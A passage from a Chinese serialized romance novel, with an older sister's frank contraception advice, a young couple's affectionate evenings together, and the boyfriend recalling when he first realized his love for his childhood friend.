虽然心里头嫌出个包间就裹上羽绒服回来再脱掉很麻烦,但虞千绾还是老老实实这么干了。 否则她怕姐姐的眼神会进化成冷冽的眼刀狠狠扫她。 出了包间,虞千绾才意识到姐姐压根不是要去卫生间,只是找了个借口带她出来罢了。 怪不得非要她穿上羽绒服。 包间外的走廊虽然没多少人,但时而还是会有人来来往往,不适应聊些私密性话题。 虞昭音带着虞千绾去了庭院里,这里风景不错,算是店里的一大特色,但冬季太冷,没什么人愿意冒冷待在院中,虞昭音挑了个有建筑物遮挡的角落站定,这里不四面灌风,不会那么冷。 虞千绾全程低着头跟在虞昭音身后走,她是在跟商恪景聊天的时候被虞昭音叫出来的,意识到姐姐不是要去卫生间是有什么话想跟她说的时候她就在跟商恪景叫停话题表示过会儿聊了,但恋爱甜蜜期实在没办法,说个拜拜都能腻歪半天。 直到虞昭音停住脚,虞千绾才收起手机抬起头,下半张脸朝衣领里缩了缩,张口说话都伴随着哈出的白气,“怎么了姐,什么话非得到这才能说,好冷呀。” “有件事我想了想,还是得跟你详细说一说。” “嗯,你说。”虞千绾澄澈的眼睛一眨一眨地望着虞昭音。 在这样的注视下,虞昭音倒语噎了须臾,“……你俩做过吗?” 耳畔滚过的风声呼呼的,虞昭音声音还放轻了些,虞千绾没听清,“嗯?做什么?” 虞昭音本想简洁明了说爱,但看着自家清纯的妹妹,话到嘴边改成,“床上运动。” 这已经是她所能想象到的最委婉的表达方式了。 “…………” 意识到姐姐想要同自己科普什么的虞千绾忽然陷入死寂,脸颊温度飙升,满脸羞愤,“姐你想什么呢!” 开了这个口,后面的话就不难进行下去,虞昭音继续追问:“所以做过吗?” “没有,怎么可能,我们才交往多久,哪就那么快。” 虞昭音点了点头,又问:“你现在想法有改变吗?还是坚定的不打算生孩子吗?” “非常坚定。” 虞千绾对结婚的态度一直都很随缘,觉得有合适的人就可以,没有也不强求,但生孩子这事她态度很坚定,她不要生孩子。 一方面是现在互联网发达,曾经不为人道的生育损伤被暴露在女性面前。还有一方面是虞千绾亲眼见证过姐姐从怀孕到生育到养大孩子至今的历程,虽然她们家里有钱,什么都用的是最好的,可以少吃些苦,小橙子也给她们家里带来了很多很多的幸福感,但虞千绾从来是个吃不了苦的人,她怕疼怕得要命,且不认为自己有姐姐那样一个成熟可以教育孩子的思想,她自认没有那份耐心。而且家里有个小橙子就够了,未来家产有人继承下去就行。 “行,既然你目前没有改变这个念头,那我就得给你说清楚,防止出现什么意料之外的事伤害到你自己身体。” 虞昭音很认真给虞千绾普及这方面的知识,“首先,使用避孕套前要检查好,万一破了就有风险得及时吃避孕药。其次——” 虞千绾之前虽然也听姐姐跟她提过这些,但没这样详细过,也没有这样一个对象。 现在很轻易就代入她和商恪景,面臊得厉害,“哎呀姐,我都说了我跟他没到这一步了。” “早晚的事,就算不是他,以后也会有别人,你年纪也不小了,该知道这些了,我不跟你说了我心不安。” 虞千绾回不过话,脸蛋红红听着姐姐继续道—— “如果商恪景也是第一次没用过套的话,让他跟着教程多练几次,确定戴的是正确的再继续下去。” “还有,不要对什么安全期、体外抱有任何幻想,那都是危险的,必须戴套做好安全措施,就算只是蹭一蹭也不可以。” “不要为了追求刺激不用套自己去吃避孕药,伤的是自己的身体。如果是商恪景提的,更不能纵着他,必须拒绝,否则男人在这方面只会得寸进尺,一而再再而三。把男人在床上的样子和平常看做两个人,在床上不可以轻易心软,知不知道?” 从没经历过这些的虞千绾已然低着头说不出话了,耳根红了一圈,素来机灵的她在这时候略显木讷地捣了捣脑袋作为回应表示自己知道了。 兜里,手机隔一会儿震一下。 虞千绾不用看都知道是商恪景的消息,她的手忽觉被震得很麻,连至心脉,浑身都麻酥酥的。 她蜷了蜷指,没再触到手机,试图以此降低那份酥麻感,但压根躲避不得,还是会明显被她感知到。 明明商恪景什么都没干,即便是单纯躺在一张床上的行为他们都不曾有过,但在听到姐姐说话的期间,虞千绾脑袋里莫名就脑补出了自己和商恪景在床上的限制级画面。 现在交流结束了,虞千绾却没办法及时控制好自己的脑袋,里头还在持续冒着些不健康的想象。 葱白的手指羞耻至极地捂住脸,兜里的手机还在震动,她突然不知道怎么面对商恪景了。 看不到他都遐想成这样。 见到他……还不知成什么样…… 第72章 第 72 章【增】 会哄会停/会哄不…… 虞千绾坐上回家的车已是一小时后。 她结束和姐姐的聊天回到包间时, 爸妈也差不多结束了和商恪景爸妈的聊天。 有段时间没见的一家人有许多话题,各自分享几件近期挺有趣的事,时间就悄然流逝。 若不是爸妈刚从国外回来还没倒好时差直犯困,这顿晚饭估计还没这么快结束。 期间, 虞千绾见缝插针地回复了商恪景几次消息。 他先她结束了和家人的晚饭时光, 早早就回到了校外小区。 商恪景习惯了一到家就见到她的日常, 乍然独自在家很不习惯, 就总忍不住给她发消息, 倒不是要催她回来,他知道她很久没和爸妈见面了, 吃吃聊聊迟点回来很正常, 但他就是抑不住自己的思念总想给她发些什么分享分享,即便她没空回复。 商恪景是连爷爷奶奶一块喊到爸妈家里告诉的恋爱消息, 起初刚说出来的时候一家人都很默契很纯粹的欢喜着,但逐渐理智归笼, 他们询问得越来越多越来越细, 向商恪景嘱咐得也越来越多,商恪景招架不住四位长辈同时的喋喋不休,快速吃了个七八分饱就赶忙寻了个借口从爸妈家逃离出来。 故以,他比虞千绾提前不少时间归家, 陆陆续续自然也给虞千绾发了不少消息。 虞千绾虽然也回了些, 但在总量中占比太少,直至上车后她才有时间把商恪景发来的消息全部从上到下仔细看一遍,这才发现商恪景问了好几次她的位置, 说想来接她。 【不用来接啦,我已经坐上车在往家回了,才看到你的消息】 商恪景不知道她吃晚餐的具体地址, 提前问询也是想趁着她聚会还没结束的时候乘车过来等着,这样她结束就能直接接到,虞千绾结束才看到他肯定是没那时间再赶过来了,总不能多此一举的还让虞千绾在原地等着他。 他只能回说好,让她快到家的时候给他消息,他去楼下接她。 虞千绾回了个乖巧点头的兔兔表情包,这个话题告终,旁的话题顺势就开启。 直到商恪景那边临时接到陶助理的来电,应该是有工作上的事要同他说,商恪景跟虞千绾报备了声,他们的聊天才暂停。 虞千绾一直没完全从姐姐说的那些话里缓过劲来,脑海里时不时的还会窜出些,不过有人说话沟通时注意力放在话题上就还好,就算念头冒出很快也就散去。 可现下四周寂静,只余她和安静驾驶的司机,没旁的事吸引去思绪,她不受控的又开始想些有的没的,脸颊温度隐隐复燃。 虞千绾轻呼口气,侧身挪到窗边,思忖须臾,车窗被她降下大半,密闭温暖的车内空间陡然灌入冷风,冷的虞千绾不禁打了个寒颤,但依旧将正脸对着窗口敞开的位置,任由罡风将她额前颊边碎发刮得在脸上乱飞。 这法子确实有些用,短暂驱散了虞千绾脑子里的那些念头,但也就一会儿。 没多久,她又不自觉回想起姐姐在交谈最后叮嘱她的话。 虞昭音说:“关系差不多的时候,可以自己买盒避孕套放家里备着。” “是人就会有欲望,这种事不分男女,他买不买是他的事,你备着总归没坏处。” 这个理,虞千绾自然明白。 在现在这个年代,在她这个年纪,不应该谈性色变,姐姐和她说的那些也都是正常的性知识,但她就是忍不住害羞,没办法把脑袋里认同的理念面不改色做出,她还是认为这种事该商恪景主动该商恪景准备好一切,即使她间或也有渴求。 正因为有渴求,所以她又忍不住延伸下去继续想。 他们交往一个月才开始舌吻,这种进度在现代的恋爱里绝对是慢的那类了。 商恪景显然不是先前没这个念头,他只是在克制,在和她一样等待时机,顺应时间的流逝和发展,或是理智被躁动的情感彻底压下。 但后者发展的概率较低。 ……以他们这进度,再近一步该不会要一年两年后吧? 虞千绾也没想现在就跟商恪景进展到那步,她也不知道什么时候比较恰当,但如果以年为单位,她本能的会感到迟,太迟。 因为近期和商恪景亲昵接触越来越频繁,舌吻日日都有发生,逐渐数不清多少次,虞千绾清楚感觉到自己身体时而发生的微妙变化,因为他而产生的情动反应。 想到这些,虞千绾又感觉自己依着姐姐的话做也行……反正就是备着嘛,万一真有个契机需要却因为没有而不得不停下那多难受? 可她真的没办法明晃晃朝他拿出这玩意,岂不是代表她馋他很久?他肯定要揶揄她的,想想就难为情。 冷冽的风和灼热的体温就像是形成了某种抵抗,一会儿前者强一会儿后者又超过。 一如她的思绪。 直到车辆驶到小区门口,虞千绾也没得到个准确的念头,犹豫不决到最后只能选择将一切交给时间,任由其发展着再说,或许到某个阶段的时候自然而然就产生了心照不宣的共识。 商恪景已经在单元楼前等着了。 车灯照过去的时候,他那抹颀长身形分外惹眼的迎光立着。 大抵是见她趴伏在窗边还以为是在看他,商恪景笑着主动朝她招了招手,还朝前迎了迎。 虞千绾一个震身立即收起脑子里那些不干净的东西,拍了拍自己的脸颊逼迫自己清醒过来。 那事离现在的他们还太遥远! 她低头去拿包包,做好下车前的准备工作。 车辆渐渐停稳。 商恪景从外打开车门,探身径直从她手上勾过包链娴熟挂到自己肩上,另手朝她伸出。 刚解开安全带打算下车去帮虞千绾开门的司机瞧见这幕立即收回搭在主驾驶车门旁的手,知趣的不下车了,眼神也一同收回,就笑眯眯看着车前的空地。 虞千绾短暂感觉到了一瞬司机投来的视线,笑容不禁有些腼腆,但素指依旧抬起搭上商恪景温暖的掌心,倾身下车。 商恪景张开的五指立即握起,攥紧她的手。 先前因为一直没和家里人说恋爱的事,怕司机和家里通风报信,所以这段时间他们俩也防着了些司机,凡在司机面前都挺收敛的,旁的举措不好说,但肯定不会有牵搂亲吻这种明显是情侣做的事。 现在和家里人说了,自然也不需要在司机面前再遮掩什么,两个人身形很自然就挨在一起。 商恪景揽住虞千绾肩头把人儿拢在怀里,虞千绾则一手搂着商恪景的腰一手拿着手机在家庭群里报备说自己安全到家了。 进入单元楼拐了个弯,中间有墙阻隔,单元楼外的人瞧不见他们,面前的电梯还在从二十几层楼上缓缓下降。 四下无人,很安全的一个空间,想她念她多时的商恪景不禁低头在她侧脸啄了下。 虞千绾当即推开他的脸,可为时已晚,他该亲的都亲过了,只能软软羞嗔去一眼。 换做平常她也不会有这么大的反应,但距离姐姐说的那些话才过去丁点时间,她实难将那些话都脑子里扫出。 尤其是姐姐那句—— “把男人在床上的样子和平常看做两个人,在床上不可以轻易心软。” 总让她忍不住想,商恪景在床上会是什么样的呢? 是温柔听话的会哄会停还是只花言巧语地哄着但不停呢,亦或是恶劣至极的不哄也不停呢…… 她最近老在网上刷到这类描述。 如果是清醒完全理智的状态,她肯定认为商恪景该是会哄且会停,完全尊重她的意愿,但如果是那种时候……会哄不停确实好像要更适合一些,因为她时常会有些口是心非,他要是把她的口是心非当真停下,她肯定也是不情愿的。 “手这么热乎,脸怎么冰成这样。” 商恪景两手都覆上虞千绾的脸颊为她取暖,他刚刚亲她的时候感觉到的,脸颊冷冰冰的毫无暖意。 虞千绾陡然清醒过来,恍然意识到自己居然又走了神想这些,还当着商恪景这个当事人的面! 她顿觉要命地低头咬了咬下唇,不敢和商恪景有视线对碰,随便找了个理由小声回:“……可能因为手一直放在兜里但脸没衣服遮挡吧。” “往我这靠靠,我身上热。” 商恪景没多想,把身前大衣敞开将虞千绾圈进来,而后将她两手都揣到自己兜里,弄好这些,他双手继续放回虞千绾脸颊覆着。 电梯缓缓下移,到达一楼。 里面应该有不少人,电梯门还没打开就能听到里头传出的人声,商恪景揽着虞千绾往旁边站了站,等到电梯里的人都出来了再和她一起进去,右手短暂离开虞千绾脸颊一瞬摁了个楼层就继续覆回去。 掌心被她脸颊染的也有些凉意就换成手背,等到手背凉了掌心又回了些温,再用掌心继续给虞千绾捂,如此反复。 虞千绾享受着商恪景的体贴,竭力在脑海里警告自己不许再想那些,他们之间明明很纯情。 可一边进家,这种纯情就被撕碎个彻底。 虞千绾鞋还没来及换,甚至于家门还没严实关上,商恪景的唇就目的性极强地堵了上来,他含住她饱满的唇珠,吻技明显日渐醇熟起来地舔/弄吮咬。 他一手捧住她侧脸,另手将门带上。 双唇暧昧厮磨瞬间,门“咔哒”声关上。 “嗯……” 精神正紧绷的虞千绾突然被商恪景来了这么一下,唇齿间不知怎么的就吟出声细碎婉转的调,虞千绾自己都惊了下,一汪潋滟水眸无措睁得圆圆的。 商恪景呼吸滞了滞,转而变沉,掠夺的姿态和气场骤然扬驰开来,他刚抵开虞千绾微合的齿关,身形压得更低要更深的长驱直入,身前的人儿却伸手堵在他胸膛制止了他的动作,脸颊也一齐朝侧别开。 她的脸颊忽然很红,由内而外沁出的粉泽明显,额边有几缕碎发调皮地垂落着,轻轻的拂来又拂去,每一帧都是极美的。 商恪景来不及多想她为什么会因为一枚吻羞涩至此,只知道自己的心荡起了惊涛骇浪。他迈步,侧首跟着挨上去,再度吻上她的唇。 这一次,虞千绾只有小幅度的动作,她缩了缩颈,商恪景跟着吻得更深。 不多时,虞千绾也坠落其中,脸颊微仰着迎合。 性感的、乱套的喘息声在玄关处此起彼伏。 刚刚结束激吻的两人贴靠在一起休缓温存,时而以唇或鼻尖蹭蹭对方,抑或很轻很浅地啄吻几下。 每当这种时候,虞千绾都觉得浑身软塌塌的,脚下尤其,她想去沙发坐着躺着,不想站着,即便浑身的大多力气都已经压在商恪景身上由他撑着站立了。 还不待她动作,商恪景就仿佛通过某种不可见的脑电波读懂了她,忽地俯身抱起她放在鞋柜上坐着,而后低头帮她脱去高跟鞋,换上舒适的绒绒的可爱棉拖,再迎面稳稳抱起她,径直去往沙发。 虞千绾还是第一次被商恪景这么面对面抱着,跟抱小孩子似的,她的脑袋还要比商恪景高出一截,同地面的距离直逼两米。 从没感受过这样高度的虞千绾下意识矮了矮身有些紧张。 人总是在失重或没有支点的时候本能抓紧身边的人或物,在被抱起的那个瞬间,商恪景就成了虞千绾的唯一支点。 她两腿紧紧夹在他腰际,双脚交叉盘在他腰后,双手攀在他肩上。 但商恪景步伐沉稳,面色如常,看起来抱她没有丝毫压力,甚至还有余力凑过来亲一亲她,无论她朝哪里扭动他都能稳当托住她,太让人有安全感。 虞千绾的紧张感很快就散去,逐渐直起腰张望四周去感受一米九几大高个的世界,时而还探手去摸自己平常压根碰不到的物什顶部,嘴上叽叽咕咕跟商恪景分享个不停,就像是窥见了新世界的小朋友,可爱得要命。 商恪景瞧着她眼中烁闪着的新奇碎光,眸中也噙上些笑。 他便没立刻将她放下来,而是抱着她在客厅里缓步走来走去。 直到虞千绾朝沙发点了点下颚示意,“坐下吧。” 商恪景才顿住脚,但没立即照做,而是努了努唇说:“亲一下。” 虞千绾低下头,捧住他的脸,洋溢着笑接连亲了好几下。 但在商恪景想要回吻的时候,她却微微直起身避开了,皙白细长的食指接替唇瓣抵上他的唇,“男朋友,你在得寸进尺,我已经多亲你好多好多下了,快回沙发,不许想别的。” 娇嗔时,她压在商恪景唇上的食指不知有意还是无心摩挲了几下,再配上她的动作和语调,又纯又欲,商恪景眸光微黯,喉结很缓很缓地上下滚了滚。 虞千绾细腿轻晃着催促他。 商恪景不明情绪地静望了她几秒钟,顺从行至沙发边坐下。 他们本来就是面对面抱着的姿势,坐下时自然也是面对面的。 商恪景坐在沙发上,虞千绾曲膝跨坐在商恪景腿上,膝盖和一截小腿压在沙发面上,小腿后半截悬空。 虽然于现在的他们而言,拥抱这种事常有发生,但这种姿势少有,商恪景一直有在刻意避免。 在青春正盛的年岁和心爱多年的人交往亲近,身体免不得会有些反应,商恪景甚至没有那样的念头,只是感觉自己好爱好爱她,奈何男女天生生理构造就不同,他也没办法控制住这种反应,只能尽量遮掩住不让她觉察,否则她一定会感觉他是个不正经的色胚,他还有口难辩。 可当下这种姿势,他即便是没有反应……她再往前坐坐都能隔着西裤感觉到。 所谓不知者无畏大抵如此。 刚刚还满脑子这些的虞千绾现在却对真要到来的禁忌毫无知觉,到底没有过经历,全靠别人碎片化的话语和文字无法第一时间联想到现实生活里。 被商恪景抱着在客厅里晃悠了几圈的虞千绾已然完全欢快了,脑子里再没那些念头,她反倒想着商恪景这些天总怕她爸妈因为他身份的变化没之前那么喜欢他,积极举例子让他放宽心。 “对了,你之前不是让我在我爸妈面前给你说好话嘛,我今天压根没有发挥的空间,因为他们太喜欢你啦。” “就比如现在,但凡我恋爱对象不是你,我爸妈都不会在明知我和男朋友住这么近的情况下还让我晚上回来继续住在这的,但这个人是你,他们很信任你的人品,压根都没多管过这方面,一个字都没多提过。所以呀,你就别担心了。” 虞千绾大抵不知道,自己这副粲然歪头笑着眼尾弯弯的模样有多让人心动。 “……好。” 商恪景倾身去亲虞千绾脸颊的时候,右手状似无意搭在了她膝侧,实则是控住了她的腿,防止她再往前挨近。 “你再跟我详细说说你回家说咱俩交往的时候,你家里人的反应呗?我好好奇你爸妈他们会说什么。你都不知道,我爸妈一直用手机和你爸妈发消息,起初还是直接发语音的,后来不知道聊什么不想给我听,光打字,弄得我心痒痒的。” 虽然虞千绾收到很多商恪景发来的消息,但里面很少涉及他家里人的具体话,他只说了家里人很高兴。 “说什么……” 商恪景仔细想了想,沉吟道:“说你好,性格好,学习好,样貌好,让我多珍惜,千万好好对待这段感情。总之哪哪都好。” “好宽泛,这些你都在微信跟我说过了。” 虞千绾嘴上这么嫌无趣的轻嗔,但面上听到夸赞还是掩不住的开心,“我想听更详细的。” “如果把今晚的时间划分成十份,那么,其中三份是他们沉浸在我们恋爱的消息里高兴不已,一份是夸赞你,其余六份都是在近乎警告的告诉我,我必须好好呵护你,要是让你受委屈我就死定了。” 商恪景攥起虞千绾一根手指轻轻揉捏着,“不过我觉得,那六份明面上在说我,实际都可以算在夸赞你里面,他们在意你喜欢你,所以才那么怕我没维系好这段关系。” 听着这些,虞千绾唇角很难不上扬,“好吧,算你过关,还有什么好玩事吗?” 商恪景给虞千绾发了太多微信,好玩事更是现场就发了,几乎事无巨细。 不过—— “还真有一个。” “是我下楼去接你的时候刚发生的。” 说着,商恪景掏出了手机,当着虞千绾的面打开微信,点入和商知珩的聊天框。 虞千绾瞧见商知珩在不久前给商恪景发了一句话和三个语音。 ——【下次别走那么早,给我分担些火力】 活人感很足的话,少见商知珩如此。 光是看到这条消息,虞千绾就有些想笑了。 商恪景指尖轻点语音条,几道混杂的人声一同抢着往外溢。 “知珩啊,你告诉奶奶,你到底喜欢什么样的呢?奶奶不逼着你去相亲,就问问。” “哎哟,问有用吗?有用他就不会现在还单着了。” “知珩,你是喜欢女孩子吧?只是还没遇到合适的。” 听到商恪景妈妈桑元蔚略显胆战心惊问询的话,虞千绾没绷住直接笑出声,“阿姨也是没招了,都联想到这方面了。” 两家四个孩子,原先除虞昭音外三个都是孤家寡人,现在好了,商恪景和虞千绾内部消化,瞬间只剩商知珩一个孤家寡人,且他年纪也不轻了,本来就时不时会被家里人催婚,现在连弟弟妹妹都有了对象就他还单着,更是被长辈们集中火力围击了一番,别提商恪景还中途溜了,连个帮他转移话题的人都没有。 商知珩估计也是被烦透了,否则也不能给商恪景发这些。 可怜无助又好笑。 “我倒是不怀疑我哥的性取向,但感情这种事本来就是看缘分,何况他大部分时间都花在工作上了,确实比较难。” 虞千绾忍不住好奇,“诶,你说未来如果真有那么一个人,知珩哥会喜欢什么类型的?同样事业心爆棚的工作狂吗?” “虽然我也这么想过,但举个不太恰当的例子,昭音姐就是这种类型,并且绝对算是和我哥接触的异性中排名很靠前的那类了,但很明显他俩完全没火花。” “也是哦。” 虞千绾想了想自家姐姐和商知珩在一起的样子,简直就像商业晚宴,毫无暧昧,全是对金钱的渴望,一张口都是和工作有关的事。 持续保持一个姿势,虞千绾不太舒服,和商恪景聊着聊着很自然就抬臀往前凑了一截,想要寻个舒适的姿势赖在商恪景怀里继续和他聊天。 很寻常很习惯性的动作,虞千绾挪动的时候全然没觉得哪里不对劲,他们平常窝在沙发的时候经常这么挨在一块,她要么坐在商恪景身边要么斜坐在商恪景腿上。 暂未发觉到跨坐特殊性的虞千绾只觉稀疏平常。 商恪景搭在她膝侧的手猛然收紧试图阻止但为时已晚,某种冲动难抑得上升,他鼻息骤停,忽地侧首,齿关蓦然紧紧咬合似是在隐忍着什么,面部轮廓线条变得格外分明。 在虞千绾还没搞清楚情况仍打算低头往他颈窝那靠的时候,商恪景忽然将她从他腿上抱了起来放置在沙发上,单手插兜略显急色匆匆地起了身,“我工作还差点没处理好,回去一趟,弄好就回来。” “啊?……” 虞千绾懵然眨了眨眼,“哦,好。” 商恪景快步离开,虞千绾瞧着他的背影还有些犯嘀咕。 这么突然吗? 什么工作这么紧急?刚刚也没听他提呀,怎么聊得好好的就跑了? 不过两人之间信任度高,所以偶尔有个什么不合常理的小插曲,虞千绾也不会多想什么,即便略感疑惑也会很快相信他的借口,脑子里自动将他的举止合理化。 第73章 第 73 章 没有人会想吻掉朋友的眼…… 距离除夕夜仅剩三日的这天傍晚, 虞千绾和商恪景商量着明天搬回别墅区住,都要过年了还住在学校这边未免有些不像话。 如非必要,商恪景一般都不让保姆进到他的卧室里动他的东西,于是在虞千绾提出后, 他就回了家开始收拾。 反正两个住处该有的日常生活用品都有, 也没多少东西要带回去, 商恪景自己动手也花不了多少时间。 虞千绾没商恪景这么勤劳, 即便只有一点她也不想自己动手, 只等着明天保姆来给她收拾。 不过商恪景往行李箱里放置东西的时候她可没闲着,一会儿趴在商恪景背上, 一会儿从他胳膊下钻到他怀里, 最后不知是自己给自己折腾累了还是看他收拾看累的,总归一屁股就坐在了地毯上, 跟着伸手抱住商恪景小腿,脸颊隔着西裤贴着他长腿。 全程, 虞千绾就像是长在商恪景身上的挂件。 虽然使得商恪景收拾物什的时间愣是多出两倍, 但他很是沉浸其中,非常享受自家女朋友黏人的样子,在合上行李箱后像逗猫儿般曲指勾了勾虞千绾颚下那片软肉,“不然我去你那边帮你的东西也收拾了吧?” 这样她还能继续在他身上挂一会儿。 虞千绾摇了摇头, “我要带的多数是化妆品和饰品, 明天还要挑着用呢,现在装好明天反倒不方便用了,还是明天让阿姨收拾吧。” “好吧。” 商恪景闻言便顺势和虞千绾一起坐在地毯上, 换了个方式继续和她腻在一块。 被商恪景抱到腿上侧坐着时,虞千绾主动亲了亲他的脸,“不过还是奖励一下我像海螺姑娘一样勤劳的亲爱的男朋友。” “这个奖励好像不太够。” “你不是没收拾嘛, 这样还不行?商恪景你最近脸皮越来越厚了。” 虞千绾嘴上这么吐槽他,但身体很坦诚地朝他挨近,樱唇纵容地贴上他唇。 商恪景很自然就托住她后脑勺加深这枚吻。 两个热烈的人恋爱后每天都黏黏糊糊的,从贴贴到抱抱再到亲亲,怎么都不腻。 但一想到马上过年没法再这么腻在一块,刚接吻完的商恪景感觉到剧烈的落差感,心情忽然就惆怅得低宕了下来。 明知道结果,可还是闷闷问了句,“今年还是要去沪市那边住几天?” 虞千绾外公早年间就已去世了,外婆外公的感情很好,彼时妈妈怕外婆一个人在家容易触景伤情便将外婆接到自家一同生活过大半年的时间。 后来外婆从外公去世的阴影里走出来就自己提出了离开,老人家有自己的生活模式,不适应和小辈们住一块。正好外婆的亲妹妹十几年前就离了婚也是孤身一人,姐妹俩便在老家沪市买了套房子搭伙一起住那。 每年除夕夜,虞千绾都会跟着爸妈去爷爷奶奶那吃顿年夜饭,翌日一早一家人便赶去沪市陪外婆几天,刚好再拜访拜访那边的亲戚。 商恪景家里没有亲近的亲戚在沪市那边,他家中整个新年安排都是在京市内的。 他们注定有三天左右的时间见不到面。 往昔不觉有甚,虞千绾早习惯了这样的过年节奏,而且她那会儿也不喜欢商恪景。 可现在情况完全不同,别说三天不见面了,一天不见对热恋中的他们而言都是个不小的挑战与折磨。 虞千绾轻叹口气,刚欲说什么,脑海里忽然划过一个念头,眸光一定,问了个答案明显到有些傻乎的问题,“所以之前那些年,我在沪市那几天你也会觉得难熬吗?” 虞千绾没说破还好,她一说,商恪景眼神倏然就哀怨下来,“不然呢?你猜我为什么每隔一年就会找借口去沪市找你?” “某人倒好,还嫌弃我。”越想越不是滋味,商恪景低头咬住虞千绾脸颊以齿尖轻轻磨了磨,窝窝囊囊地发泄。 虞千绾却有些大梦初醒的恍然感。 商恪景第一次新年期间去沪市找虞千绾是高中意识到喜欢她的那年,那会儿他试探性的先在微信上和虞千绾吐槽句拜年无聊,还不如去沪市找她玩一圈呢,正好没怎么逛过沪市。 虞千绾顺势就接了,说行啊,你要是来沪市找我,咱们就去逛逛。 她本以为商恪景只是在发牢骚吐槽几句,没想到商恪景真的会来,不过她也遵循发出去的消息和商恪景在沪市玩了大半天。 怕每年都过去会引起虞千绾怀疑,所以偷偷暗恋的商恪景隔一年去沪市寻她一次。 虽说截止到今年,拢共也没发生过多少次,但虞千绾在沪市本身就待三四天,其中腾出的一天就显得格外宝贝,而且商恪景每次都拿过来玩当理由,过于让人失语。 也不怪那些年里的虞千绾就跟情丝被抽了般,很直接问过他还没在沪市逛腻吗?怎么又来了。而且一年那么多时间,怎么非得过年的时候来沪市玩,别的时间他要是想来沪市玩她又不是不陪他。 商恪景总是含糊其辞模糊带过,隔年依旧来。 虞千绾也依旧当面蛐蛐他,但一玩起来,两个人瞬间把别的都抛到九霄云外,皆开心得很。 许是因为现在的他们太甜蜜幸福,虞千绾再在一个偶然的契机扩张对商恪景暗恋史的地图时不会像刚知道他感情的那段时间那么酸楚那么懊悔。 不那么愉快的闷情绪在双方心里都有短暂划过,但他们皆清楚会有无比美好的未来,所以用现在充斥着恋爱粉红泡泡的眼睛去回看过往,一切都变得美妙起来。 虞千绾先没绷住笑出声,笑声里带着些自己都想不通的自我调侃,“虽然感慨过很多次,但每次总还是忍不住想说,你当初那么明显,我到底为什么那么坚定把你当做我纯洁的朋友?” “你也是,就不知道换个借口吗?每次都说来沪市玩,还都是过年,真是装都不装。” “我装了。” 商恪景竭力为自己辩解,也绷不住想笑,“这已经是模拟过很多遍的结果了,是我所能想到的最好理由,别的理由听起来更扯。” 虞千绾笑的埋到商恪景怀里,商恪景也低着头抵着她脑袋笑。 两个人身形依偎在一块,同步笑颤着,分不清那一抹颤抖究竟是因谁而起。 笑音渐收,但面上依旧噙着浓浓的笑意,商恪景缓声道:“其实想想,你不知道也正常,毕竟咱俩现在才刚二十岁出头的年纪,前面十几年的时间都是真的很单纯的朋友关系,先入为主的习惯了那种状态再意识到反常就很难。所以我完全没想过你主动发现我的喜欢,在我许多预设里要么是我主动表白,要么就这么当一辈子朋友。” “那你是怎么突然意识到感情变化的?” 虞千绾是真的很好奇,她在对商恪景感情变质的那段时间可谓是迷茫得够呛,自己都分辨不清究竟是喜欢还是习惯。 “你还记得邹萧追求咱们隔壁班的一个女生的事吗?” 邹萧是商恪景那会儿的同桌。 “记得。” 虞千绾点了点头,“他们俩好像是初中同学是吧?那会儿邹萧还因为表白架势太大被老师训过。” “对,他们是一个初中的,并且初中的时候同桌过挺长时间。” 邹萧是初高中时期很典型的那类男生,心不坏,但言行举止总是欠兮兮的,爱去招惹喜欢的女生,给人惹生气再巴巴凑上去哄。 只不过在起初,邹萧自己都不知道这是喜欢。 后来两人上了一所高中,虽是不同班级,但离得也不远,就一堵墙的距离,只要下课出班级玩闹就还是会遇到,接触依旧挺频繁。 邹萧几乎每节下课都会去走廊。 女生出来的话他就跟人顺势笑闹。女生没出来,他也能隔着窗户冲她做些灵活的表情。 大多时候两个人相处都不错,但时不时邹萧会干出些抽风的事,非常的大咧,是一种在商恪景观念里绝对不可能对喜欢的女生做出的举止,那样松弛的感觉只能是普通朋友。 所以当邹萧突然说他喜欢隔壁班的女生时,商恪景还挺惊讶的,脑海里回闪过一系列邹萧曾经干过的那些事,虽单拎出来都不是多严重的事,但凑在一起简直是一点风度都没有。 结果也不出商恪景所料,女生多次拒绝了邹萧的表白。 那段时间,邹萧就像是变了个人,做一个动作前要反复在脑海里揣度很多遍,还会特别询问商恪景这个同桌的意见,问会不会让女生反感。 也就是一次很随意的对话,商恪景问了句:“你之前不是一直说跟她是好兄弟吗?怎么突然转变了?” 邹萧哑然,视线转向窗外默然良久。 就当商恪景以为不会得到答案的时候,他忽而很轻很轻地低喃:“……她家里出了些事,我看到她哭了,突然心口很堵很闷,很想去安慰她,她却以为我又要恶作剧。那一刻我感觉自己很不是个东西,我从来没有想要捉弄她,但也后知后觉的发觉我那是想她的注意力多放在我身上一些……” 听到这话的当下,商恪景并没有联想到虞千绾身上,他只是拍了拍邹萧肩膀。 还挺遗憾邹萧的爱而不自知,若是早意识到早改变些方法或许不会走到这一步。 直到有一天,虞千绾哭了。 商恪景看着她伤心的模样,邹萧的话不知怎的突然在脑海浮现。 他的心口一如邹萧所说的那样,很堵很闷,很想把她抱到怀里安慰,他也确实那样做了。 但这于至交好友的他们而言并不罕见,只是正常的安慰。 那天,虞千绾哭得很伤心,好半晌都没停下,脸上没一处干的。 商恪景身上的纸巾都用完了,然后一个突兀的念头就这么蹦出—— 他好想吻掉她的眼泪。 念头涌出的瞬间,商恪景自己都僵住了。 他的身体突然鼓噪起来,也就是那一刻,他发现自己和邹萧在爱而不自知这方面竟然是同类。 毕竟没有人会想吻掉朋友的眼泪。 作者有话说:交代一下恪景情感变化的契机[烟花] 第74章 第 74 章 “我今晚去找你,宝宝”…… 翌日早上, 虞千绾睡醒时商恪景已经去永誉上班了。 她在床上磨蹭着赖了一会儿床才起身去化妆,差不多快要化好的时候联系司机载着保姆过来她这。 保姆动作麻溜,听完虞千绾要带去别墅的东西后就低头拾掇起来。 虞千绾本觉得自己没很多东西要带的,估摸也就一个行李箱, 撑死再多个小些的行李袋。 但现实总是和想象有很大差距。 环视着家里的虞千绾瞧着瞧着突然发现眼前这个怎么给漏了?必须得带上!再一瞧那个, 也挺需要的, 嗯……另边那个虽然没那么必要, 但万一用到了呢, 反正就一个不是很占位置,也带上。 于是在一声声清脆的以“李阿姨”开头的呼唤声中, 两个行李箱很快就被塞满, 一旁却还有没装的东西,以及仍在持续转悠查看着有没有‘漏网之鱼’的虞千绾。 本打算一手虞千绾行李箱一手商恪景行李箱的司机看这架势, 默默拎起商恪景昨晚收拾好的行李先往楼下送了一趟。 就这么,商恪景的行李被一同送到了虞千绾家别墅里, 等他下班回来再顺路带回去, 